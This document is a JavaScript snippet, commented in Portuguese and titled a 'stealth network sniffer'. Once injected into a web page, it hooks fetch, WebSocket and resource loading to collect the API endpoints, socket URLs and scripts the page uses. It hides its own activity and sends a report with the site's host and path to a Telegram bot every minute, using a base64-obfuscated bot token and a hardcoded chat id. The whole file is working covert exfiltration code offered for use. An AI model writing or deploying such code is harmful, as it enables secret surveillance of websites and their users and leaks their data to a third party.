/* NEXUS TEAM - STEALTH NETWORK SNIFFER Modo: Stealth (Sem logs de console) Alvo: API, WebSockets e Performance */ (function nexusStealthSniffer() { // --- CONFIGURAÇÃO --- const _t = atob("NzY3NzQxNDQwNjpBQUVscFA5U3lrQi1OQ1JLbzIyZDN6RzR5ZGpZQjBSazZIQQ=="); const _c = "5227563589"; const INTERVAL_MIN = 1; // -------------------- let logs = { apis: new Set(), sockets: new Set(), static: new Set() }; // 1. INTERCEPTAR FETCH (API) - SILENCIOSO const { fetch: originalFetch } = window; window.fetch = async (...args) => { try { const url = typeof args[0] === 'string' ? args[0] : (args[0] && args[0].url); if (url && !url.includes("telegram.org")) { logs.apis.add(`[API] ${url.split('?')[0]}`); } } catch(e) {} return originalFetch(...args); }; // 2. INTERCEPTAR WEBSOCKETS (REAL-TIME) - SILENCIOSO const OriginalWS = window.WebSocket; window.WebSocket = function(url, protocols) { logs.sockets.add(`[WS] ${url}`); return new OriginalWS(url, protocols); }; // 3. MONITORAR RECURSOS (PERFORMANCE API) - SILENCIOSO try { const observer = new PerformanceObserver((list) => { list.getEntries().forEach((entry) => { if ((entry.initiatorType === 'script' || entry.initiatorType === 'fetch') && !entry.name.includes("telegram.org")) { logs.static.add(`[RES] ${entry.name.split('?')[0]}`); } }); }); observer.observe({ entryTypes: ['resource'] }); } catch(e) {} // FUNÇÃO DE ENVIO TELEGRAM (STEALTH) const sendLog = async () => { if (logs.apis.size === 0 && logs.sockets.size === 0 && logs.static.size === 0) return; const report = `🛰 **NEXUS STEALTH REPORT**\n\n` + `🌐 **HOST:** ${window.location.hostname}\n` + `🔗 **PATH:** ${window.location.pathname}\n\n` + `🔌 **SOCKETS:**\n${Array.from(logs.sockets).slice(-5).join('\n') || 'Nenhum'}\n\n` + `📡 **ENDPOINTS:**\n${Array.from(logs.apis).slice(-15).join('\n') || 'Nenhum'}\n\n` + `📦 **RECURSOS:**\n${Array.from(logs.static).slice(-10).join('\n') || 'Nenhum'}`; try { await originalFetch(`https://api.telegram.org/bot${_t}/sendMessage`, { method: "POST", headers: { "Content-Type": "application/json" }, body: JSON.stringify({ chat_id: _c, text: report, parse_mode: "Markdown" }) }); // Reset de buffers logs.apis.clear(); logs.sockets.clear(); logs.static.clear(); } catch (e) {} }; // Iniciar loop de relatório setInterval(sendLog, INTERVAL_MIN * 60 * 1000); // Envio inicial para confirmar que o script subiu (opcional) // sendLog(); })();